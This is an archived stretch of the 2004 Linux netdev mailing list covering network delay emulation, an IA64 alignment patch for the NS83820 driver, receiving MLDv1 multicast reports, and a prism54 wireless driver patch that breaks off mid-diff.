17:50:58 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2H1or4b022787; Tue, 16 Mar 2004 20:50:53 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2H1orj12407; Tue, 16 Mar 2004 20:50:53 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2H1od2x022761; Tue, 16 Mar 2004 20:50:39 -0500 Date: Tue, 16 Mar 2004 17:50:52 -0800 From: "David S. Miller" To: Andi Kleen Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: network delay simulation Message-Id: <20040316175052.556d5c22.davem@redhat.com> In-Reply-To: <20040317000048.10d9f52c.ak@suse.de> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040317000048.10d9f52c.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4064 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 299 Lines: 8 On Wed, 17 Mar 2004 00:00:48 +0100 Andi Kleen wrote: > iirc there was a 2.4 port of NistNet. Porting it to 2.6 is probably > not that much work. nistnet works, but even akpm remembers it as pretty grotty, who knows maybe the most recent 2.4.x variant was much better, but I doubt it. From ak@suse.de Tue Mar 16 18:27:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 18:27:53 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H2RnKO018920 for ; Tue, 16 Mar 2004 18:27:50 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id BC35430D1F5; Wed, 17 Mar 2004 03:27:43 +0100 (CET) Date: Wed, 17 Mar 2004 03:06:34 +0100 From: Andi Kleen To: "David S. Miller" Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: network delay simulation Message-Id: <20040317030634.5c369b36.ak@suse.de> In-Reply-To: <20040316175052.556d5c22.davem@redhat.com> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040317000048.10d9f52c.ak@suse.de> <20040316175052.556d5c22.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4065 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 467 Lines: 16 On Tue, 16 Mar 2004 17:50:52 -0800 "David S. Miller" wrote: > On Wed, 17 Mar 2004 00:00:48 +0100 > Andi Kleen wrote: > > > iirc there was a 2.4 port of NistNet. Porting it to 2.6 is probably > > not that much work. > > nistnet works, but even akpm remembers it as pretty grotty, who knows > maybe the most recent 2.4.x variant was much better, but I doubt it. For testing it's probably good enough. No need to merge it ;-) -Andi From greearb@candelatech.com Tue Mar 16 18:40:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 18:40:44 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H2eNKO019857 for ; Tue, 16 Mar 2004 18:40:24 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.10) with ESMTP id i2H2e1PR024633; Tue, 16 Mar 2004 18:40:04 -0800 Message-ID: <4057BA81.9090602@candelatech.com> Date: Tue, 16 Mar 2004 18:40:01 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: "David S. Miller" , netdev@oss.sgi.com Subject: Re: network delay simulation References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> In-Reply-To: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4066 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 1086 Lines: 29 Stephen Hemminger wrote: > Still bumming around for how to easily simulate long latencies. > There is NISTnet but that is fugly old 2.2 code; and Dummynet, and hitbox > which are FreeBSD based. The existing traffic shaper might do, but it seems > to be limited to lower speed lines and needs some work (using atomic_set > do own locking for instance). > > Probably "the cowboy way" would be to right a new net/scheduler to just > do FIFO delay. > > Any ideas/comments? Somebody have some code sitting in a drawer? I'll give you licenses to my (closed source) LANforge-ICE WAN emulator which runs as a Linux module and has been benchmarked at 1Gbps full-duplex (well, 999Mbps). It can do up to about 1 second delay at 1Gbps, but with more delay at this high speed it runs out of memory (seems skb_alloc, or the way I am calling it, will not use high-memory). At lower speeds you can have several seconds of delay. Please send me email off the list if you are interested. Thanks, Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From peterc@gelato.unsw.edu.au Tue Mar 16 19:57:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 19:58:05 -0800 (PST) Received: from note.orchestra.cse.unsw.EDU.AU (root@note.orchestra.cse.unsw.EDU.AU [129.94.242.24]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H3viKO022041 for ; Tue, 16 Mar 2004 19:57:45 -0800 Received: From wombat.disy.cse.unsw.edu.au ([129.94.239.42]) (for ) (for ) (for ) By note With Smtp ; Wed, 17 Mar 2004 14:57:36 +1100 Received: from peterc by wombat.disy.cse.unsw.edu.au with local (Exim 4.30) id 1B3SBU-00027w-AQ; Wed, 17 Mar 2004 14:57:36 +1100 From: Peter Chubb To: linux-ia64@vger.kernel.org Date: Wed, 17 Mar 2004 14:57:36 +1100 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16471.52400.222262.824746@wombat.disy.cse.unsw.edu.au> CC: linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Making the NS83820 usable on IA64 X-Mailer: VM 7.17 under 21.4 (patch 15) "Security Through Obscurity" XEmacs Lucid Comments: Hyperbole mail buttons accepted, v04.18. X-Face: GgFg(Z>fx((4\32hvXq<)|jndSniCH~~$D)Ka:P@e@JR1P%Vr}EwUdfwf-4j\rUs#JR{'h# !]])6%Jh~b$VA|ALhnpPiHu[-x~@<"@Iv&|%R)Fq[[,(&Z'O)Q)xCqe1\M[F8#9l8~}#u$S$Rm`S9% \'T@`:&8>Sb*c5d'=eDYI&GF`+t[LfDH="MP5rwOO]w>ALi7'=QJHz&y&C&TE_3j! X-archive-position: 4067 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: peterc@gelato.unsw.edu.au Precedence: bulk X-list: netdev Content-Length: 1344 Lines: 39 Hi Folks, With the current NS83820 driver and IP stack implementation, the IA64 kernel spends 99.9% of its time in the unaligned access trap handler when the network starts getting busy. When I raised this issue before, the idea of realigning the skbuf data in the driver was scouted; therefore I submit this patch for your approval. It makes the driver usable, and doesn't seem to affect anything else. The idea is to tell gcc that the IP header is 2-byte aligned, so it can generate the right code to access it. Otherwise, it tries to do a 4-byte load when trying to extract the header length bitfield, which traps. As far as I read the C standard, gcc can do almost whatever it wants as regarding the alignment and underlying storage size of a bitfield, so it's free to assume 32-bit alignment if it wants. Tested on McKinley with gcc 3.3.x ===== linus-2.6.4/include/linux/ip.h 1.12 vs edited ===== --- 1.12/include/linux/ip.h Fri Jan 2 07:28:33 2004 +++ edited/include/linux/ip.h Wed Mar 17 11:58:09 2004 @@ -186,7 +186,7 @@ __u32 saddr; __u32 daddr; /*The options start here. */ -}; +} __attribute__((packed,aligned(2))); struct ip_auth_hdr { __u8 nexthdr; -- Dr Peter Chubb http://www.gelato.unsw.edu.au peterc@gelato.unsw.edu.au You are lost in a maze of BitKeeper repositories, all slightly different. From madhavis@sasken.com Tue Mar 16 20:15:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 20:15:39 -0800 (PST) Received: from mail1.sasken.com ([164.164.56.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H4FYKO022703 for ; Tue, 16 Mar 2004 20:15:36 -0800 Received: from sunsv2.sasken.com (localhost [127.0.0.1]) by mail1.sasken.com (8.12.10/8.12.10) with ESMTP id i2H4Ffp8005477 for ; Wed, 17 Mar 2004 09:45:42 +0530 (IST) Received: from pcz-madhavis.sasken.com (IDENT:madhavis@pcz-madhavis.sasken.com [10.1.64.210]) by sunsv2.sasken.com (8.12.10/8.12.10) with ESMTP id i2H4FPVN010388; Wed, 17 Mar 2004 09:45:25 +0530 (IST) Date: Wed, 17 Mar 2004 09:45:25 +0530 (IST) From: Madhavi To: cc: Subject: Receiving MLDv1 reports in a daemon Message-ID: MIME-Version: 1.0 Content-type: multipart/mixed; boundary="=_IS_MIME_Boundary" X-archive-position: 4068 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: madhavis@sasken.com Precedence: bulk X-list: netdev Content-Length: 2378 Lines: 54 --=_IS_MIME_Boundary Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Hi I am trying to incorporate the functionality of MLDv1 into a daemon. This would be in addition to the functionality already supported by the kernel IPv6 stack. I am opening a raw socket with proto IPPROTO_ICMPV6 in my daemon process. When I am sending an MLDv1 report from the host, the Router is able to receive the report. But, I am not able to receive it over the socket. I have checked the kernel code and found that the kernel is sending reports only if the group address being reported is added to the device multicast list. Since I won't know the group address in advance, I can't add it to the device multicast list. Is there any other way to get the MLDv1 reports to my daemon. Any solution to this problem would be very helpful to me. Thanks & regards Madhavi. Madhavi Suram Senior Software Engineer Customer Delivery / Networks Sasken Communication Technologies Limited 139/25, Ring Road, Domlur Bangalore - 560071 India Email: madhavis@sasken.com Tel: + 91 80 5355501 Extn: 8062 Fax: + 91 80 5351133 URL: www.sasken.com --=_IS_MIME_Boundary Content-Type: text/plain;charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline *********************************************************************** ******************************************************************** SASKEN BUSINESS DISCLAIMER This message may contain confidential, proprietary or legally Privileged information. In case you are not the original intended Recipient of the message, you must not, directly or indirectly, use, Disclose, distribute, print, or copy any part of this message and you are requested to delete it and inform the sender. Any views expressed in this message are those of the individual sender unless otherwise stated. Nothing contained in this message shall be construed as an offer or acceptance of any offer by Sasken Communication Technologies Limited ("Sasken") unless sent with that express intent and with due authority of Sasken. Sasken has taken enough precautions to prevent the spread of viruses. However the company accepts no liability for any damage caused by any virus transmitted by this email. *********************************************************************** --=_IS_MIME_Boundary-- From dlstevens@us.ibm.com Tue Mar 16 20:29:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 20:29:31 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H4TMKO026238; Tue, 16 Mar 2004 20:29:29 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2H4TGfS699610; Tue, 16 Mar 2004 23:29:17 -0500 Received: from d03nm121.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2H4TFS1095854; Tue, 16 Mar 2004 21:29:16 -0700 In-Reply-To: Subject: Re: Receiving MLDv1 reports in a daemon To: Madhavi Cc: madhavis@sasken.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Tue, 16 Mar 2004 20:29:13 -0800 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 03/16/2004 21:29:15 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4C9DF844A688f9e8a93df938690918c07BBE4C9DF844A68" Content-Disposition: inline X-archive-position: 4069 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1957 Lines: 49 --0__=07BBE4C9DF844A688f9e8a93df938690918c07BBE4C9DF844A68 Content-type: text/plain; charset=US-ASCII madhavis@sasken.com wrote on 03/16/2004 08:15:25 PM: > Is there any other way to get the MLDv1 reports to my daemon. Any solution > to this problem would be very helpful to me. As I responded before, though you may not have seen it, you need to put the device in "multicast promiscuous mode" by setting the IFF_ALLMULTI interface flag (SIOCSIFFLAGS). Then you should receive all multicasts for all groups (and all protocols) sent on that network. If you create the socket as you described, your program should receive all ICMPv6 multicasts sent to any group. In MLDv2, it's much easier. All reports are sent to the "all multicast routers" multicast address, so you can simply join that group. +-DLS --0__=07BBE4C9DF844A688f9e8a93df938690918c07BBE4C9DF844A68 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

madhavis@sasken.com wrote on 03/16/2004 08:15:25 PM:

> Is there any other way to get the MLDv1 reports to my daemon. Any solution
> to this problem would be very helpful to me.

As I responded before, though you may not have seen it, you need to put
the device in "multicast promiscuous mode" by setting the IFF_ALLMULTI
interface flag (SIOCSIFFLAGS). Then you should receive all multicasts for
all groups (and all protocols) sent on that network. If you create the
socket as you described, your program should receive all ICMPv6
multicasts sent to any group.

In MLDv2, it's much easier. All reports are sent to the "all multicast
routers" multicast address, so you can simply join that group.

+-DLS --0__=07BBE4C9DF844A688f9e8a93df938690918c07BBE4C9DF844A68-- From peter@chubb.wattle.id.au Tue Mar 16 20:33:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 20:33:43 -0800 (PST) Received: from mail013.syd.optusnet.com.au (mail013.syd.optusnet.com.au [211.29.132.67]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H4XZKO026594 for ; Tue, 16 Mar 2004 20:33:40 -0800 Received: from mail.chubb.wattle.id.au (c211-30-52-142.randw1.nsw.optusnet.com.au [211.30.52.142]) by mail013.syd.optusnet.com.au (8.11.6p2/8.11.6) with ESMTP id i2H4X4V23769; Wed, 17 Mar 2004 15:33:04 +1100 Received: from peterc by mail.chubb.wattle.id.au with local (Exim 3.36 #1 (Debian)) id 1B3Sjn-0001Xw-00; Wed, 17 Mar 2004 15:33:03 +1100 From: Peter Chubb MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16471.54527.703181.721517@wombat.chubb.wattle.id.au> Date: Wed, 17 Mar 2004 15:33:03 +1100 To: Jeff Garzik Cc: Peter Chubb , linux-ia64@vger.kernel.org, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Making the NS83820 usable on IA64 In-Reply-To: <4057D1B8.9090508@pobox.com> References: <16471.52400.222262.824746@wombat.disy.cse.unsw.edu.au> <4057D1B8.9090508@pobox.com> X-Mailer: VM 7.17 under 21.4 (patch 15) "Security Through Obscurity" XEmacs Lucid Comments: Hyperbole mail buttons accepted, v04.18. X-Face: GgFg(Z>fx((4\32hvXq<)|jndSniCH~~$D)Ka:P@e@JR1P%Vr}EwUdfwf-4j\rUs#JR{'h# !]])6%Jh~b$VA|ALhnpPiHu[-x~@<"@Iv&|%R)Fq[[,(&Z'O)Q)xCqe1\M[F8#9l8~}#u$S$Rm`S9% \'T@`:&8>Sb*c5d'=eDYI&GF`+t[LfDH="MP5rwOO]w>ALi7'=QJHz&y&C&TE_3j! X-archive-position: 4070 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: peter@chubb.wattle.id.au Precedence: bulk X-list: netdev Content-Length: 1100 Lines: 26 >>>>> "Jeff" == Jeff Garzik writes: Jeff> Peter Chubb wrote: >> With the current NS83820 driver and IP stack implementation, the >> IA64 kernel spends 99.9% of its time in the unaligned access trap >> handler when the network starts getting busy. When I raised this >> issue before, the idea of realigning the skbuf data in the driver >> was scouted; therefore I submit this patch for your approval. It >> makes the driver usable, and doesn't seem to affect anything else. Jeff> More likely, you need to play around with ns83820.c's Jeff> skb_reserve() code, in rx_refill(): Unfortunately the dp83820 won't dma to anything other than a 64-bit aligned packet. See table 3-2: offset tag description 0004h bufptr 32- or 64- bit pointer to the first fragment or buffer. In transmit descriptors the buffer can begin on any byte boundary. In receive descriptors, the buffer must be aligned on a 64-bit boundary. -- Dr Peter Chubb http://www.gelato.unsw.edu.au peterc AT gelato.unsw.edu.au The technical we do immediately, the political takes *forever* From davem@redhat.com Tue Mar 16 21:49:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 21:49:21 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H5nHKO029223 for ; Tue, 16 Mar 2004 21:49:18 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2H5nD4b025533; Wed, 17 Mar 2004 00:49:13 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2H5nDj27364; Wed, 17 Mar 2004 00:49:13 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2H5mx2x021069; Wed, 17 Mar 2004 00:48:59 -0500 Date: Tue, 16 Mar 2004 21:49:12 -0800 From: "David S. Miller" To: Peter Chubb Cc: linux-ia64@vger.kernel.org, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Making the NS83820 usable on IA64 Message-Id: <20040316214912.32b4c530.davem@redhat.com> In-Reply-To: <16471.52400.222262.824746@wombat.disy.cse.unsw.edu.au> References: <16471.52400.222262.824746@wombat.disy.cse.unsw.edu.au> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4071 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 616 Lines: 13 On Wed, 17 Mar 2004 14:57:36 +1100 Peter Chubb wrote: > The idea is to tell gcc that the IP header is 2-byte aligned, > so it can generate the right code to access it. Otherwise, it tries > to do a 4-byte load when trying to extract the header length bitfield, > which traps. As far as I read the C standard, gcc can do almost > whatever it wants as regarding the alignment and underlying storage > size of a bitfield, so it's free to assume 32-bit alignment if it > wants. This makes every piece of code only able to assume 2-byte alignment. I don't think this will get accepted :) From mcgrof@studorgs.rutgers.edu Tue Mar 16 22:37:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 16 Mar 2004 22:37:04 -0800 (PST) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2H6axKO030542 for ; Tue, 16 Mar 2004 22:37:00 -0800 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 4744DF9D4B; Wed, 17 Mar 2004 01:36:59 -0500 (EST) Date: Wed, 17 Mar 2004 01:36:59 -0500 From: "Luis R. Rodriguez" To: netdev@oss.sgi.com Cc: prism54-devel@prism54.org Subject: [PATCH] prism54 tree sync update Message-ID: <20040317063659.GC24063@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="+9faIjRurCDpBc7U" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 4072 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev Content-Length: 38094 Lines: 1154 --+9faIjRurCDpBc7U Content-Type: multipart/mixed; boundary="kH8JNVvasRCCW1Oz" Content-Disposition: inline --kH8JNVvasRCCW1Oz Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Attached patch has been well tested. It updates 2.6.5-rc1 prism54 sources to our latest work (which had also previously been tested). Some additional new kernel updates were integrated as well. Here is the ChangeLog: * wireless/Kconfig: fix typos, add SMC2835W-V2 * islpci_hotplug.c: new version 1.1, authors list, and module description updated appropriately * isl_ioctl.c, islpci_dev.c,=20 islpci_eth.c, islpci_hotplug.c, islpci_mgt.c:=20 s/ndev->priv/netdev_priv(ndev)/g * islpci_hotplug.c: Add PCI ID values for SMC2835W-V2 cardbus card Patch by Manuel Lauss * isl_38xx.[ch]: include firmware.h in header, remove declaration of headers in c file. Fix compiler warnings. * islpci_dev.c (islpci_alloc_memory), * islpci_eth.c (islpci_eth_cleanup_transmit,=20 islpci_eth_transmit, islpci_eth_receive): deal with skb stray=20 pointer, declare NULL. * isl_38xx.c: remove unecessary __KERNEL_SYSCALLS__ and re-ordered headers per vger.kernel.org - liking. * isl_ioctl.c, islpci_mgt.c: move from MODULE_PARAM to the new module_param, which is type-safe. Includes the new=20 . * isl_ioctl.c (prism54_[s|g]et_[maxframeburst|profile]): added. Not adding ioctls as ajfa is working on moving current private ioctls to subioctls. * isl_oid.h (dot11_[maxframeburst|preamblesettings| slotsettings|nonerpstatus|nonerpprotection]_t): added. Note: more ioctls can be added here, I believe problems with mixed modes can be pinpointed here, with these values. --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --kH8JNVvasRCCW1Oz Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="patch-2.6.5-rc1-prism54.diff" Content-Transfer-Encoding: quoted-printable diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.5-rc1/drivers/net/wireles= s/Kconfig linux-2.6.5-rc1-mcgrof/drivers/net/wireless/Kconfig --- linux-2.6.5-rc1/drivers/net/wireless/Kconfig Tue Mar 16 20:55:11 2004 +++ linux-2.6.5-rc1-mcgrof/drivers/net/wireless/Kconfig Wed Mar 17 06:07:21= 2004 @@ -307,18 +307,18 @@ It has basic support for Linux wireless extensions and initial micro support for ethtool. =20 -comment "Prism GT/Duette 802.11(a/b/g) PCI/PCMCIA support" +comment "Prism GT/Duette 802.11(a/b/g) PCI/Cardbus support" depends on NET_RADIO && PCI config PRISM54 - tristate 'Intersil Prism GT/Duette/Indigo PCI/PCMCIA'=20 + tristate 'Intersil Prism GT/Duette/Indigo PCI/Cardbus'=20 depends on PCI && NET_RADIO && EXPERIMENTAL && HOTPLUG select FW_LOADER ---help--- Enable PCI and Cardbus support for the following chipset based cards: =20 - ISL3880 - Prism GT 802.11 b/g - ISL3877 - Prism Indigo 802.11 a - ISL3890 - Prism Duette 802.11 a/b/g + ISL3880 - Prism GT 802.11 b/g + ISL3877 - Prism Indigo 802.11 a + ISL3890 - Prism Duette 802.11 a/b/g =20 For a complete list of supported cards visit . Here is the latest confirmed list of supported cards: @@ -335,8 +335,9 @@ Peabird WLG-PCI PCI Card Sitecom WL-100i Cardbus Card Sitecom WL-110i PCI Card - SMC2802W - EZ Connect g 2.4GHz 54 Mbps Wireless PCI Card - SMC2835W - EZ Connect g 2.4GHz 54 Mbps Wireless Cardbus Card + SMC2802W - EZ Connect g 2.4GHz 54 Mbps Wireless PCI Card + SMC2835W - EZ Connect g 2.4GHz 54 Mbps Wireless Cardbus Card + SMC2835W-V2 - EZ Connect g 2.4GHz 54 Mbps Wireless Cardbus Card Z-Com XG-900 PCI Card Zyxel G-100 Cardbus Card =20 diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.5-rc1/drivers/net/wireles= s/prism54/isl_ioctl.c linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/i= sl_ioctl.c --- linux-2.6.5-rc1/drivers/net/wireless/prism54/isl_ioctl.c Tue Mar 16 20:= 55:11 2004 +++ linux-2.6.5-rc1-mcgrof/drivers/net/wireless/prism54/isl_ioctl.c Wed Mar= 17 01:00:42 2004 @@ -25,6 +25,7 @@ #include #include #include +#include =20 #include =20 @@ -44,26 +45,26 @@ static int init_conformance =3D CARD_DEFAULT_CONFORMANCE; static int init_mlme =3D CARD_DEFAULT_MLME_MODE; =20 -MODULE_PARM(init_mode, "i"); +module_param(init_mode, int, 0); MODULE_PARM_DESC(init_mode, "Set card mode:\n0: Auto\n1: Ad-Hoc\n2: Managed Client (Default)\n3: Ma= ster / Access Point\n4: Repeater (Not supported yet)\n5: Secondary (Not sup= ported yet)\n6: Monitor"); =20 -MODULE_PARM(init_channel, "i"); +module_param(init_channel, int, 0); MODULE_PARM_DESC(init_channel, "Check `iwpriv ethx channel` for available channels"); =20 -MODULE_PARM(init_wep, "i"); -MODULE_PARM(init_filter, "i"); +module_param(init_wep, int, 0); +module_param(init_filter, int, 0); =20 -MODULE_PARM(init_authen, "i"); +module_param(init_authen, int, 0); MODULE_PARM_DESC(init_authen, "Authentication method. Can be of seven types:\n0 0x0000: None\n1 0x000= 1: DOT11_AUTH_OS (Default)\n2 0x0002: DOT11_AUTH_SK\n3 0x0003: DOT11_AUTH_B= OTH"); =20 -MODULE_PARM(init_dot1x, "i"); +module_param(init_dot1x, int, 0); MODULE_PARM_DESC(init_dot1x, "\n0: None/not set (Default)\n1: DOT11_DOT1X_AUTHENABLED\n2: DOT11_DOT1= X_KEYTXENABLED"); =20 -MODULE_PARM(init_mlme, "i"); +module_param(init_mlme, int, 0); MODULE_PARM_DESC(init_mlme, "Sets the MAC layer management entity (MLME) mode of operation,\n0: DOT= 11_MLME_AUTO (Default)\n1: DOT11_MLME_INTERMEDIATE\n2: DOT11_MLME_EXTENDED"= ); =20 @@ -250,7 +251,7 @@ struct iw_statistics * prism54_get_wireless_stats(struct net_device *ndev) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 /* If the stats are being updated return old data */ if (down_trylock(&priv->stats_sem) =3D=3D 0) { @@ -277,7 +278,7 @@ prism54_commit(struct net_device *ndev, struct iw_request_info *info, char *cwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 /* simply re-set the last set SSID, this should commit most stuff */ =20 @@ -293,7 +294,7 @@ prism54_get_name(struct net_device *ndev, struct iw_request_info *info, char *cwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); char *capabilities; union oid_res_t r; int rvalue; @@ -324,7 +325,7 @@ prism54_set_freq(struct net_device *ndev, struct iw_request_info *info, struct iw_freq *fwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); int rvalue; u32 c =3D 0; =20 @@ -363,7 +364,7 @@ prism54_get_freq(struct net_device *ndev, struct iw_request_info *info, struct iw_freq *fwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); union oid_res_t r; int rvalue; =20 @@ -379,7 +380,7 @@ prism54_set_mode(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); u32 mlmeautolevel =3D CARD_DEFAULT_MLME_MODE; =20 /* Let's see if the user passed a valid Linux Wireless mode */ @@ -420,7 +421,7 @@ prism54_get_mode(struct net_device *ndev, struct iw_request_info *info, __u32 * uwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + islpci_private *priv =3D netdev_priv(ndev); =20 BUG_ON((priv->iw_mode < IW_MODE_AUTO) || (priv->iw_mode > IW_MODE_MONITOR)); @@ -438,7 +439,7 @@ prism54_set_sens(struct net_device *ndev, struct iw_request_info *info, struct iw_param *vwrq, char *extra) { - islpci_private *priv =3D ndev->priv; + 